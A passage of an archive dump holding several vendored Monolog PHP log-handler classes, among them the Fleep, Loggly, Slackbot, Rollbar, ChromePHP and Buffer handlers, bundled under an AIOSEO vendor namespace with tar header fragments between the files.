AIOSEO\Vendor\Psr\Log\LoggerInterface; /** * Proxies log messages to an existing PSR-3 compliant logger. * * @author Michael Moussa */ class PsrHandler extends AbstractHandler { /** * PSR-3 compliant logger * * @var LoggerInterface */ protected $logger; /** * @param LoggerInterface $logger The underlying PSR-3 compliant logger to which messages will be proxied * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(LoggerInterface $logger, $level = Logger::DEBUG, $bubble = \true) { parent::__construct($level, $bubble); $this->logger = $logger; } /** * {@inheritDoc} */ public function handle(array $record) { if (!$this->isHandling($record)) { return \false; } $this->logger->log(\strtolower($record['level_name']), $record['message'], $record['context']); return \false === $this->bubble; } } monolog/monolog/src/Monolog/Handler/FleepHookHandler.php000066600000006455151733766740017372 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; use AIOSEO\Vendor\Monolog\Logger; /** * Sends logs to Fleep.io using Webhook integrations * * You'll need a Fleep.io account to use this handler. * * @see https://fleep.io/integrations/webhooks/ Fleep Webhooks Documentation * @author Ando Roots */ class FleepHookHandler extends SocketHandler { const FLEEP_HOST = 'fleep.io'; const FLEEP_HOOK_URI = '/hook/'; /** * @var string Webhook token (specifies the conversation where logs are sent) */ protected $token; /** * Construct a new Fleep.io Handler. * * For instructions on how to create a new web hook in your conversations * see https://fleep.io/integrations/webhooks/ * * @param string $token Webhook token * @param bool|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @throws MissingExtensionException */ public function __construct($token, $level = Logger::DEBUG, $bubble = \true) { if (!\extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FleepHookHandler'); } $this->token = $token; $connectionString = 'ssl://' . self::FLEEP_HOST . ':443'; parent::__construct($connectionString, $level, $bubble); } /** * Returns the default formatter to use with this handler * * Overloaded to remove empty context and extra arrays from the end of the log message. * * @return LineFormatter */ protected function getDefaultFormatter() { return new LineFormatter(null, null, \true, \true); } /** * Handles a log record * * @param array $record */ public function write(array $record) { parent::write($record); $this->closeSocket(); } /** * {@inheritdoc} * * @param array $record * @return string */ protected function generateDataStream($record) { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the header of the API Call * * @param string $content * @return string */ private function buildHeader($content) { $header = "POST " . self::FLEEP_HOOK_URI . $this->token . " HTTP/1.1\r\n"; $header .= "Host: " . self::FLEEP_HOST . "\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . \strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } /** * Builds the body of API call * * @param array $record * @return string */ private function buildContent($record) { $dataArray = array('message' => $record['formatted']); return \http_build_query($dataArray); } } monolog/monolog/src/Monolog/Handler/SwiftMailerHandler.php000066600000006727151733766740017746 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; use AIOSEO\Vendor\Swift; /** * SwiftMailerHandler uses Swift_Mailer to send the emails * * @author Gyula Sallai */ class SwiftMailerHandler extends MailHandler { protected $mailer; private $messageTemplate; /** * @param \Swift_Mailer $mailer The mailer to use * @param callable|\Swift_Message $message An example message for real messages, only the body will be replaced * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(\AIOSEO\Vendor\Swift_Mailer $mailer, $message, $level = Logger::ERROR, $bubble = \true) { parent::__construct($level, $bubble); $this->mailer = $mailer; $this->messageTemplate = $message; } /** * {@inheritdoc} */ protected function send($content, array $records) { $this->mailer->send($this->buildMessage($content, $records)); } /** * Gets the formatter for the Swift_Message subject. * * @param string $format The format of the subject * @return FormatterInterface */ protected function getSubjectFormatter($format) { return new LineFormatter($format); } /** * Creates instance of Swift_Message to be sent * * @param string $content formatted email body to be sent * @param array $records Log records that formed the content * @return \Swift_Message */ protected function buildMessage($content, array $records) { $message = null; if ($this->messageTemplate instanceof \AIOSEO\Vendor\Swift_Message) { $message = clone $this->messageTemplate; $message->generateId(); } elseif (\is_callable($this->messageTemplate)) { $message = \call_user_func($this->messageTemplate, $content, $records); } if (!$message instanceof \AIOSEO\Vendor\Swift_Message) { throw new \InvalidArgumentException('Could not resolve message as instance of Swift_Message or a callable returning it'); } if ($records) { $subjectFormatter = $this->getSubjectFormatter($message->getSubject()); $message->setSubject($subjectFormatter->format($this->getHighestRecord($records))); } $message->setBody($content); if (\version_compare(Swift::VERSION, '6.0.0', '>=')) { $message->setDate(new \DateTimeImmutable()); } else { $message->setDate(\time()); } return $message; } /** * BC getter, to be removed in 2.0 */ public function __get($name) { if ($name === 'message') { \trigger_error('SwiftMailerHandler->message is deprecated, use ->buildMessage() instead to retrieve the message', \E_USER_DEPRECATED); return $this->buildMessage(null, array()); } throw new \InvalidArgumentException('Invalid property ' . $name); } } monolog/monolog/src/Monolog/Handler/BufferHandler.php000066600000007753151733766740016731 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\ResettableInterface; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * Buffers all records until closing the handler and then pass them as batch. * * This is useful for a MailHandler to send only one mail per request instead of * sending one per log message. * * @author Christophe Coevoet */ class BufferHandler extends AbstractHandler { protected $handler; protected $bufferSize = 0; protected $bufferLimit; protected $flushOnOverflow; protected $buffer = array(); protected $initialized = \false; /** * @param HandlerInterface $handler Handler. * @param int $bufferLimit How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $flushOnOverflow If true, the buffer is flushed when the max size has been reached, by default oldest entries are discarded */ public function __construct(HandlerInterface $handler, $bufferLimit = 0, $level = Logger::DEBUG, $bubble = \true, $flushOnOverflow = \false) { parent::__construct($level, $bubble); $this->handler = $handler; $this->bufferLimit = (int) $bufferLimit; $this->flushOnOverflow = $flushOnOverflow; } /** * {@inheritdoc} */ public function handle(array $record) { if ($record['level'] < $this->level) { return \false; } if (!$this->initialized) { // __destructor() doesn't get called on Fatal errors \register_shutdown_function(array($this, 'close')); $this->initialized = \true; } if ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) { if ($this->flushOnOverflow) { $this->flush(); } else { \array_shift($this->buffer); $this->bufferSize--; } } if ($this->processors) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } } $this->buffer[] = $record; $this->bufferSize++; return \false === $this->bubble; } public function flush() { if ($this->bufferSize === 0) { return; } $this->handler->handleBatch($this->buffer); $this->clear(); } public function __destruct() { // suppress the parent behavior since we already have register_shutdown_function() // to call close(), and the reference contained there will prevent this from being // GC'd until the end of the request } /** * {@inheritdoc} */ public function close() { $this->flush(); } /** * Clears the buffer without flushing any messages down to the wrapped handler. */ public function clear() { $this->bufferSize = 0; $this->buffer = array(); } public function reset() { $this->flush(); parent::reset(); if ($this->handler instanceof ResettableInterface) { $this->handler->reset(); } } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { $this->handler->setFormatter($formatter); return $this; } /** * {@inheritdoc} */ public function getFormatter() { return $this->handler->getFormatter(); } } monolog/monolog/src/Monolog/Handler/FilterHandler.php000066600000012144151733766740016733 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * Simple handler wrapper that filters records based on a list of levels * * It can be configured with an exact list of levels to allow, or a min/max level. * * @author Hennadiy Verkh * @author Jordi Boggiano */ class FilterHandler extends AbstractHandler { /** * Handler or factory callable($record, $this) * * @var callable|\Monolog\Handler\HandlerInterface */ protected $handler; /** * Minimum level for logs that are passed to handler * * @var int[] */ protected $acceptedLevels; /** * Whether the messages that are handled can bubble up the stack or not * * @var bool */ protected $bubble; /** * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $filterHandler). * @param int|array $minLevelOrList A list of levels to accept or a minimum level if maxLevel is provided * @param int $maxLevel Maximum level to accept, only used if $minLevelOrList is not an array * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($handler, $minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY, $bubble = \true) { $this->handler = $handler; $this->bubble = $bubble; $this->setAcceptedLevels($minLevelOrList, $maxLevel); if (!$this->handler instanceof HandlerInterface && !\is_callable($this->handler)) { throw new \RuntimeException("The given handler (" . \json_encode($this->handler) . ") is not a callable nor a AIOSEO\\Vendor\\Monolog\\Handler\\HandlerInterface object"); } } /** * @return array */ public function getAcceptedLevels() { return \array_flip($this->acceptedLevels); } /** * @param int|string|array $minLevelOrList A list of levels to accept or a minimum level or level name if maxLevel is provided * @param int|string $maxLevel Maximum level or level name to accept, only used if $minLevelOrList is not an array */ public function setAcceptedLevels($minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY) { if (\is_array($minLevelOrList)) { $acceptedLevels = \array_map('AIOSEO\\Vendor\\Monolog\\Logger::toMonologLevel', $minLevelOrList); } else { $minLevelOrList = Logger::toMonologLevel($minLevelOrList); $maxLevel = Logger::toMonologLevel($maxLevel); $acceptedLevels = \array_values(\array_filter(Logger::getLevels(), function ($level) use($minLevelOrList, $maxLevel) { return $level >= $minLevelOrList && $level <= $maxLevel; })); } $this->acceptedLevels = \array_flip($acceptedLevels); } /** * {@inheritdoc} */ public function isHandling(array $record) { return isset($this->acceptedLevels[$record['level']]); } /** * {@inheritdoc} */ public function handle(array $record) { if (!$this->isHandling($record)) { return \false; } if ($this->processors) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } } $this->getHandler($record)->handle($record); return \false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records) { $filtered = array(); foreach ($records as $record) { if ($this->isHandling($record)) { $filtered[] = $record; } } if (\count($filtered) > 0) { $this->getHandler($filtered[\count($filtered) - 1])->handleBatch($filtered); } } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = \call_user_func($this->handler, $record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { $this->getHandler()->setFormatter($formatter); return $this; } /** * {@inheritdoc} */ public function getFormatter() { return $this->getHandler()->getFormatter(); } } monolog/monolog/src/Monolog/Handler/InsightOpsHandler.php000066600000003520151733766740017573 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * Inspired on LogEntriesHandler. * * @author Robert Kaufmann III * @author Gabriel Machado */ class InsightOpsHandler extends SocketHandler { /** * @var string */ protected $logToken; /** * @param string $token Log token supplied by InsightOps * @param string $region Region where InsightOps account is hosted. Could be 'us' or 'eu'. * @param bool $useSSL Whether or not SSL encryption should be used * @param int $level The minimum logging level to trigger this handler * @param bool $bubble Whether or not messages that are handled should bubble up the stack. * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct($token, $region = 'us', $useSSL = \true, $level = Logger::DEBUG, $bubble = \true) { if ($useSSL && !\extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for InsightOpsHandler'); } $endpoint = $useSSL ? 'ssl://' . $region . '.data.logs.insight.rapid7.com:443' : $region . '.data.logs.insight.rapid7.com:80'; parent::__construct($endpoint, $level, $bubble); $this->logToken = $token; } /** * {@inheritdoc} * * @param array $record * @return string */ protected function generateDataStream($record) { return $this->logToken . ' ' . $record['formatted']; } } monolog/monolog/src/Monolog/Handler/MissingExtensionException.php000066600000000717151733766740021400 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; /** * Exception can be thrown if an extension for an handler is missing * * @author Christian Bergau */ class MissingExtensionException extends \Exception { } monolog/monolog/src/Monolog/Handler/LogEntriesHandler.php000066600000003151151733766740017557 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * @author Robert Kaufmann III */ class LogEntriesHandler extends SocketHandler { /** * @var string */ protected $logToken; /** * @param string $token Log token supplied by LogEntries * @param bool $useSSL Whether or not SSL encryption should be used. * @param int $level The minimum logging level to trigger this handler * @param bool $bubble Whether or not messages that are handled should bubble up the stack. * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct($token, $useSSL = \true, $level = Logger::DEBUG, $bubble = \true, $host = 'data.logentries.com') { if ($useSSL && !\extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for LogEntriesHandler'); } $endpoint = $useSSL ? 'ssl://' . $host . ':443' : $host . ':80'; parent::__construct($endpoint, $level, $bubble); $this->logToken = $token; } /** * {@inheritdoc} * * @param array $record * @return string */ protected function generateDataStream($record) { return $this->logToken . ' ' . $record['formatted']; } } monolog/monolog/src/Monolog/Handler/FirePHPHandler.php000066600000012441151733766740016743 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\WildfireFormatter; /** * Simple FirePHP Handler (http://www.firephp.org/), which uses the Wildfire protocol. * * @author Eric Clemmons (@ericclemmons) */ class FirePHPHandler extends AbstractProcessingHandler { /** * WildFire JSON header message format */ const PROTOCOL_URI = 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2'; /** * FirePHP structure for parsing messages & their presentation */ const STRUCTURE_URI = 'http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1'; /** * Must reference a "known" plugin, otherwise headers won't display in FirePHP */ const PLUGIN_URI = 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3'; /** * Header prefix for Wildfire to recognize & parse headers */ const HEADER_PREFIX = 'X-Wf'; /** * Whether or not Wildfire vendor-specific headers have been generated & sent yet */ protected static $initialized = \false; /** * Shared static message index between potentially multiple handlers * @var int */ protected static $messageIndex = 1; protected static $sendHeaders = \true; /** * Base header creation function used by init headers & record headers * * @param array $meta Wildfire Plugin, Protocol & Structure Indexes * @param string $message Log message * @return array Complete header string ready for the client as key and message as value */ protected function createHeader(array $meta, $message) { $header = \sprintf('%s-%s', self::HEADER_PREFIX, \join('-', $meta)); return array($header => $message); } /** * Creates message header from record * * @see createHeader() * @param array $record * @return array */ protected function createRecordHeader(array $record) { // Wildfire is extensible to support multiple protocols & plugins in a single request, // but we're not taking advantage of that (yet), so we're using "1" for simplicity's sake. return $this->createHeader(array(1, 1, 1, self::$messageIndex++), $record['formatted']); } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new WildfireFormatter(); } /** * Wildfire initialization headers to enable message parsing * * @see createHeader() * @see sendHeader() * @return array */ protected function getInitHeaders() { // Initial payload consists of required headers for Wildfire return \array_merge($this->createHeader(array('Protocol', 1), self::PROTOCOL_URI), $this->createHeader(array(1, 'Structure', 1), self::STRUCTURE_URI), $this->createHeader(array(1, 'Plugin', 1), self::PLUGIN_URI)); } /** * Send header string to the client * * @param string $header * @param string $content */ protected function sendHeader($header, $content) { if (!\headers_sent() && self::$sendHeaders) { \header(\sprintf('%s: %s', $header, $content)); } } /** * Creates & sends header for a record, ensuring init headers have been sent prior * * @see sendHeader() * @see sendInitHeaders() * @param array $record */ protected function write(array $record) { if (!self::$sendHeaders) { return; } // WildFire-specific headers must be sent prior to any messages if (!self::$initialized) { self::$initialized = \true; self::$sendHeaders = $this->headersAccepted(); if (!self::$sendHeaders) { return; } foreach ($this->getInitHeaders() as $header => $content) { $this->sendHeader($header, $content); } } $header = $this->createRecordHeader($record); if (\trim(\current($header)) !== '') { $this->sendHeader(\key($header), \current($header)); } } /** * Verifies if the headers are accepted by the current user agent * * @return bool */ protected function headersAccepted() { if (!empty($_SERVER['HTTP_USER_AGENT']) && \preg_match('{\\bFirePHP/\\d+\\.\\d+\\b}', $_SERVER['HTTP_USER_AGENT'])) { return \true; } return isset($_SERVER['HTTP_X_FIREPHP_VERSION']); } /** * BC getter for the sendHeaders property that has been made static */ public function __get($property) { if ('sendHeaders' !== $property) { throw new \InvalidArgumentException('Undefined property ' . $property); } return static::$sendHeaders; } /** * BC setter for the sendHeaders property that has been made static */ public function __set($property, $value) { if ('sendHeaders' !== $property) { throw new \InvalidArgumentException('Undefined property ' . $property); } static::$sendHeaders = $value; } } monolog/monolog/src/Monolog/Handler/GroupHandler.php000066600000007214151733766740016604 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; use AIOSEO\Vendor\Monolog\ResettableInterface; /** * Forwards records to multiple handlers * * @author Lenar Lõhmus */ class GroupHandler extends AbstractHandler { protected $handlers; /** * @param array $handlers Array of Handlers. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(array $handlers, $bubble = \true) { foreach ($handlers as $handler) { if (!$handler instanceof HandlerInterface) { throw new \InvalidArgumentException('The first argument of the GroupHandler must be an array of HandlerInterface instances.'); } } $this->handlers = $handlers; $this->bubble = $bubble; } /** * {@inheritdoc} */ public function isHandling(array $record) { foreach ($this->handlers as $handler) { if ($handler->isHandling($record)) { return \true; } } return \false; } /** * {@inheritdoc} */ public function handle(array $record) { if ($this->processors) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } } foreach ($this->handlers as $handler) { $handler->handle($record); } return \false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records) { if ($this->processors) { $processed = array(); foreach ($records as $record) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } $processed[] = $record; } $records = $processed; } foreach ($this->handlers as $handler) { $handler->handleBatch($records); } } public function reset() { parent::reset(); foreach ($this->handlers as $handler) { if ($handler instanceof ResettableInterface) { $handler->reset(); } } } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { foreach ($this->handlers as $handler) { $handler->setFormatter($formatter); } return $this; } } monolog/monolog/src/Monolog/Handler/SlackbotHandler.php000066600000004464151733766740017256 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * Sends notifications through Slack's Slackbot * * @author Haralan Dobrev * @see https://slack.com/apps/A0F81R8ET-slackbot * @deprecated According to Slack the API used on this handler it is deprecated. * Therefore this handler will be removed on 2.x * Slack suggests to use webhooks instead. Please contact slack for more information. */ class SlackbotHandler extends AbstractProcessingHandler { /** * The slug of the Slack team * @var string */ private $slackTeam; /** * Slackbot token * @var string */ private $token; /** * Slack channel name * @var string */ private $channel; /** * @param string $slackTeam Slack team slug * @param string $token Slackbot token * @param string $channel Slack channel (encoded ID or name) * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($slackTeam, $token, $channel, $level = Logger::CRITICAL, $bubble = \true) { @\trigger_error('SlackbotHandler is deprecated and will be removed on 2.x', \E_USER_DEPRECATED); parent::__construct($level, $bubble); $this->slackTeam = $slackTeam; $this->token = $token; $this->channel = $channel; } /** * {@inheritdoc} * * @param array $record */ protected function write(array $record) { $slackbotUrl = \sprintf('https://%s.slack.com/services/hooks/slackbot?token=%s&channel=%s', $this->slackTeam, $this->token, $this->channel); $ch = \curl_init(); \curl_setopt($ch, \CURLOPT_URL, $slackbotUrl); \curl_setopt($ch, \CURLOPT_POST, \true); \curl_setopt($ch, \CURLOPT_RETURNTRANSFER, \true); \curl_setopt($ch, \CURLOPT_POSTFIELDS, $record['message']); Curl\Util::execute($ch); } } monolog/monolog/src/Monolog/Handler/LogglyHandler.php000066600000005146151733766740016747 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\LogglyFormatter; /** * Sends errors to Loggly. * * @author Przemek Sobstel * @author Adam Pancutt * @author Gregory Barchard */ class LogglyHandler extends AbstractProcessingHandler { const HOST = 'logs-01.loggly.com'; const ENDPOINT_SINGLE = 'inputs'; const ENDPOINT_BATCH = 'bulk'; protected $token; protected $tag = array(); public function __construct($token, $level = Logger::DEBUG, $bubble = \true) { if (!\extension_loaded('curl')) { throw new \LogicException('The curl extension is needed to use the LogglyHandler'); } $this->token = $token; parent::__construct($level, $bubble); } public function setTag($tag) { $tag = !empty($tag) ? $tag : array(); $this->tag = \is_array($tag) ? $tag : array($tag); } public function addTag($tag) { if (!empty($tag)) { $tag = \is_array($tag) ? $tag : array($tag); $this->tag = \array_unique(\array_merge($this->tag, $tag)); } } protected function write(array $record) { $this->send($record["formatted"], self::ENDPOINT_SINGLE); } public function handleBatch(array $records) { $level = $this->level; $records = \array_filter($records, function ($record) use($level) { return $record['level'] >= $level; }); if ($records) { $this->send($this->getFormatter()->formatBatch($records), self::ENDPOINT_BATCH); } } protected function send($data, $endpoint) { $url = \sprintf("https://%s/%s/%s/", self::HOST, $endpoint, $this->token); $headers = array('Content-Type: application/json'); if (!empty($this->tag)) { $headers[] = 'X-LOGGLY-TAG: ' . \implode(',', $this->tag); } $ch = \curl_init(); \curl_setopt($ch, \CURLOPT_URL, $url); \curl_setopt($ch, \CURLOPT_POST, \true); \curl_setopt($ch, \CURLOPT_POSTFIELDS, $data); \curl_setopt($ch, \CURLOPT_HTTPHEADER, $headers); \curl_setopt($ch, \CURLOPT_RETURNTRANSFER, \true); Curl\Util::execute($ch); } protected function getDefaultFormatter() { return new LogglyFormatter(); } } monolog/monolog/src/Monolog/Handler/NullHandler.php000066600000001724151733766740016422 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * Blackhole * * Any record it can handle will be thrown away. This can be used * to put on top of an existing stack to override it temporarily. * * @author Jordi Boggiano */ class NullHandler extends AbstractHandler { /** * @param int $level The minimum logging level at which this handler will be triggered */ public function __construct($level = Logger::DEBUG) { parent::__construct($level, \false); } /** * {@inheritdoc} */ public function handle(array $record) { if ($record['level'] < $this->level) { return \false; } return \true; } } monolog/monolog/src/Monolog/Handler/ChromePHPHandler.php000066600000012666151733766740017304 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\ChromePHPFormatter; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; /** * Handler sending logs to the ChromePHP extension (http://www.chromephp.com/) * * This also works out of the box with Firefox 43+ * * @author Christophe Coevoet */ class ChromePHPHandler extends AbstractProcessingHandler { /** * Version of the extension */ const VERSION = '4.0'; /** * Header name */ const HEADER_NAME = 'X-ChromeLogger-Data'; /** * Regular expression to detect supported browsers (matches any Chrome, or Firefox 43+) */ const USER_AGENT_REGEX = '{\\b(?:Chrome/\\d+(?:\\.\\d+)*|HeadlessChrome|Firefox/(?:4[3-9]|[5-9]\\d|\\d{3,})(?:\\.\\d)*)\\b}'; protected static $initialized = \false; /** * Tracks whether we sent too much data * * Chrome limits the headers to 4KB, so when we sent 3KB we stop sending * * @var bool */ protected static $overflowed = \false; protected static $json = array('version' => self::VERSION, 'columns' => array('label', 'log', 'backtrace', 'type'), 'rows' => array()); protected static $sendHeaders = \true; /** * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($level = Logger::DEBUG, $bubble = \true) { parent::__construct($level, $bubble); if (!\function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s ChromePHPHandler'); } } /** * {@inheritdoc} */ public function handleBatch(array $records) { $messages = array(); foreach ($records as $record) { if ($record['level'] < $this->level) { continue; } $messages[] = $this->processRecord($record); } if (!empty($messages)) { $messages = $this->getFormatter()->formatBatch($messages); self::$json['rows'] = \array_merge(self::$json['rows'], $messages); $this->send(); } } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new ChromePHPFormatter(); } /** * Creates & sends header for a record * * @see sendHeader() * @see send() * @param array $record */ protected function write(array $record) { self::$json['rows'][] = $record['formatted']; $this->send(); } /** * Sends the log header * * @see sendHeader() */ protected function send() { if (self::$overflowed || !self::$sendHeaders) { return; } if (!self::$initialized) { self::$initialized = \true; self::$sendHeaders = $this->headersAccepted(); if (!self::$sendHeaders) { return; } self::$json['request_uri'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; } $json = Utils::jsonEncode(self::$json, null, \true); $data = \base64_encode(\utf8_encode($json)); if (\strlen($data) > 3 * 1024) { self::$overflowed = \true; $record = array('message' => 'Incomplete logs, chrome header size limit reached', 'context' => array(), 'level' => Logger::WARNING, 'level_name' => Logger::getLevelName(Logger::WARNING), 'channel' => 'monolog', 'datetime' => new \DateTime(), 'extra' => array()); self::$json['rows'][\count(self::$json['rows']) - 1] = $this->getFormatter()->format($record); $json = Utils::jsonEncode(self::$json, null, \true); $data = \base64_encode(\utf8_encode($json)); } if (\trim($data) !== '') { $this->sendHeader(self::HEADER_NAME, $data); } } /** * Send header string to the client * * @param string $header * @param string $content */ protected function sendHeader($header, $content) { if (!\headers_sent() && self::$sendHeaders) { \header(\sprintf('%s: %s', $header, $content)); } } /** * Verifies if the headers are accepted by the current user agent * * @return bool */ protected function headersAccepted() { if (empty($_SERVER['HTTP_USER_AGENT'])) { return \false; } return \preg_match(self::USER_AGENT_REGEX, $_SERVER['HTTP_USER_AGENT']); } /** * BC getter for the sendHeaders property that has been made static */ public function __get($property) { if ('sendHeaders' !== $property) { throw new \InvalidArgumentException('Undefined property ' . $property); } return static::$sendHeaders; } /** * BC setter for the sendHeaders property that has been made static */ public function __set($property, $value) { if ('sendHeaders' !== $property) { throw new \InvalidArgumentException('Undefined property ' . $property); } static::$sendHeaders = $value; } } monolog/monolog/src/Monolog/Handler/RollbarHandler.php000066600000007237151733766740017112 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\RollbarNotifier; use Exception; use AIOSEO\Vendor\Monolog\Logger; /** * Sends errors to Rollbar * * If the context data contains a `payload` key, that is used as an array * of payload options to RollbarNotifier's report_message/report_exception methods. * * Rollbar's context info will contain the context + extra keys from the log record * merged, and then on top of that a few keys: * * - level (rollbar level name) * - monolog_level (monolog level name, raw level, as rollbar only has 5 but monolog 8) * - channel * - datetime (unix timestamp) * * @author Paul Statezny */ class RollbarHandler extends AbstractProcessingHandler { /** * Rollbar notifier * * @var RollbarNotifier */ protected $rollbarNotifier; protected $levelMap = array(Logger::DEBUG => 'debug', Logger::INFO => 'info', Logger::NOTICE => 'info', Logger::WARNING => 'warning', Logger::ERROR => 'error', Logger::CRITICAL => 'critical', Logger::ALERT => 'critical', Logger::EMERGENCY => 'critical'); /** * Records whether any log records have been added since the last flush of the rollbar notifier * * @var bool */ private $hasRecords = \false; protected $initialized = \false; /** * @param RollbarNotifier $rollbarNotifier RollbarNotifier object constructed with valid token * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(RollbarNotifier $rollbarNotifier, $level = Logger::ERROR, $bubble = \true) { $this->rollbarNotifier = $rollbarNotifier; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ protected function write(array $record) { if (!$this->initialized) { // __destructor() doesn't get called on Fatal errors \register_shutdown_function(array($this, 'close')); $this->initialized = \true; } $context = $record['context']; $payload = array(); if (isset($context['payload'])) { $payload = $context['payload']; unset($context['payload']); } $context = \array_merge($context, $record['extra'], array('level' => $this->levelMap[$record['level']], 'monolog_level' => $record['level_name'], 'channel' => $record['channel'], 'datetime' => $record['datetime']->format('U'))); if (isset($context['exception']) && $context['exception'] instanceof Exception) { $payload['level'] = $context['level']; $exception = $context['exception']; unset($context['exception']); $this->rollbarNotifier->report_exception($exception, $context, $payload); } else { $this->rollbarNotifier->report_message($record['message'], $context['level'], $context, $payload); } $this->hasRecords = \true; } public function flush() { if ($this->hasRecords) { $this->rollbarNotifier->flush(); $this->hasRecords = \false; } } /** * {@inheritdoc} */ public function close() { $this->flush(); } /** * {@inheritdoc} */ public function reset() { $this->flush(); parent::reset(); } } monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php000066600000015047151733766740020433 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy; use AIOSEO\Vendor\Monolog\Handler\FingersCrossed\ActivationStrategyInterface; use AIOSEO\Vendor\Monolog\Logger; use 